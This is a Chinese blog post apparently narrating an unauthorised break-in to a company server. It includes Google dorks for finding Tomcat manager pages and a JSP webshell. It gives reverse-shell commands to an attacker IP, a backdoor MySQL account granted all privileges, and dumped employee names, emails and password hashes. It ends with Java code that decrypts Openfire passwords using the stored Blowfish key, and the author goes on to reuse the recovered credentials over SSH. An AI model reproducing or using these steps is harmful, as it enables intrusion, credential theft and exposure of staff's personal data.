要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。
顺便科普一下,大家可以利用google hack来寻找tomcat页面
在浏览器中输入:intitle:Apache.Tomcat "Congratulations!"
大概意思是:用点号来分割title关键词,用冒号来匹配页面内容
当然如果/manager/html页面被删,或者管理员没有配置账号密码为可用,管理界面就不能访问。
上传Deploy一个JSP大马:
Linux提权必备过程--利用webshell执行命令反弹:
netcat源文件进行编译:
- gcc xiaobo.c -o xiaobo
- nc -vv -lp 12345
复制代码
在JSP大马中进行反弹:
- ./xiaobo xx.xx.xx.xx 12345
复制代码
注意:有时候会无法执行反弹,是因为文件没设置为可执行.那么就直接设置为全权限吧:
- chmod 777 xiaobo
复制代码
我们先收集一下系统的信息:
- lsb_release -a
也就是说,我们要去找Ubuntu 12.04或者内核为3.2.0-38的exploit.
一般都是去exploit-db.com这个网站上找。
可惜很不幸的是,找了几个exploit都不行。
当然我们也可以找驱动或者第三方服务进行提权,反正我是没成功过.
继续收集服务器信息。用superscan扫描开放端口:
用metasploit尝试了一下FTP和SSH的exploit和弱口令。无果
用浏览器尝试了那几个高段位的端口,发现也有个tomcat(无弱口令),以及一个sea-file团队协作管理平台。
google sea-file之后,发现是国人开发的一款开源的"分布式文件同步技术"的网盘。
用上面的账号+弱口令+社工成功登陆:
可以看到公司内部正在开发,或者已经完成的合同,项目计划,设计书等。可以知道这个服务器是某软件公司的。这些东西应该都是机密- -:
先找找有没有漏洞上传什么的,看了一下开发语言: C/C++Python,吓尿了 - -。服务器也是自带的什么不认识的。所以放弃。权当收集信息用。
可以看到公司的成员列表和管理员:
继续社工:
找tomcat下的工程,寻找保存的mysql密码。成功利用root密码,webshell登录mysql,(当然这里有个插曲就是我用的 webshell无法连接mysql,或者不支持show databases,show tables等这些操作,所以自己重新改了源码)
数据库连接失败
|
com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Cannot load connection class because of underlying exception: 'java.lang.NumberFormatException: For input string: "3306;User=root;Password=testxx;DatabaseName=mysql"'.
|
为了方便查看数据,就直接开启外链。这里再顺便科普一下:
为了保护服务器,我就不使用root外链。免得被不明黑阔批量扫描弱口令爆菊.
- CREATE USER hack IDENTIFIED BY 'hack';
- grant all privileges on *.* to hack @"%" identified by "hack";
复制代码
之后就用mysql workbench连接(开发人员专用哟~嘿嘿)
插曲:据说linux下的mysql可以利用system命令提权。我windows 命令行下远程连接mysql,尝试system user add命令失败。去mysql官方,查看官方文档,确实有system函数.BT5命令行下远程连接mysql,system user add成功,囧的是用户居然添加在我BT5上面。同学们都该知道mysql system函数的意思了吧?
回归正题:我现在要收集mysql数据库存的所有用户账号和密码,进一步来社工linux root密码进行远程ftp或者ssh操作。
解密了一些md5,基本都是弱口令。
亮点来了:openfire数据库。
看着名字我就觉得有点来头,谷歌之后得到:Openfire 是实时的基于WEB的即时消息传输平台,是原来的Jive Messenger
admin | de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71 | Administrator | [email protected] |
caifei | 0db546455b7e6a8bd1905e34028ca31704ae5cf27a65e1c2 | 蔡飞 | [email protected] |
chensong | e54b7b46c4862dd1ea159a174eb1e26d6b6c1fac89a5dc73 | 陈松 | [email protected] |
liqiang | 4f21a0de9b6a32aadd0a6bd0cf53a82da6504bc85111556e | 李强 | [email protected] |
liqing | 0d24c065be1fdd4db3dde16d39b8907f8248a8a4a7f84c75 | 李青 | [email protected] |
liuhuayi | 5809dadd4631e859d995d93ff0587524f75c541ab55f23c6 | 刘华宜 | [email protected] |
qiulibo | 8c14fda295def40ba10bcd9b78ee869ce5a9880eaa8c6eb6 | 邱李波 | [email protected] |
xuliang | ba8dc396077d18e3a5683455a92d808adb06d8ac74f31fa3 | 徐亮 | [email protected] |
zhangxin | b88349048d4b55b91f9a942652b89cf36d75cc2e8ba2cfd6 | 张欣 | [email protected] |
拿去cmd5上解密,无法识别加密类型。于是呼,本文的重点,openfire解密.
openfire也是开源的软件,密码采用的是自己设计的算法。
openfire提供二次开发。谷歌之后发现资料蛮多了。所以,我们就来搭个二次开发环境,利用openfire提供的解密类进行解密吧~
- Openfire是通过org.jivesoftware.util.Blowfish.java实现的加密。
- 使用Blowfish的encryptString(String password)和decryptString(String encryptedString)两个方法执行加解密。
- 可new Blowfish(String passwordKey)需要passwordKey,上哪里找?
- 原来在openfire的数据库中有表ofproperty,其中就有passwordKey的值,这是openfire安装时自动生成的。
- openfire每次自动生成数据库的时候这个属性都是不同的,所以如果数据库变化了,原来的用户信息导入是没有用的。
- 可以独立使用org.jivesoftware.util.Blowfish.java进行加解密操作。
复制代码
在eclipse中新建java工程,在官网上找到org.jivesoftware.util.Blowfish.java类,导入工程。
再写个DecryPwd用来解密。
- public class DecryPwd {
- /**
- * @param args
- */
- public static void main(String[] args) {
- // TODO Auto-generated method stub
- String resultPWD = null;
- String passWordKey = "566251afC9Lk39w"; //passwordKey,从openfire数据库中读取
- Blowfish blowFish = new Blowfish(passWordKey); //根据加密key初始化
- resultPWD = blowFish.decryptString("de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71");
- System.out.println(resultPWD); //返回结果
- }
- }
运行成功解密!
接着就拿着账号密码去ssh啦。过程就到此。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论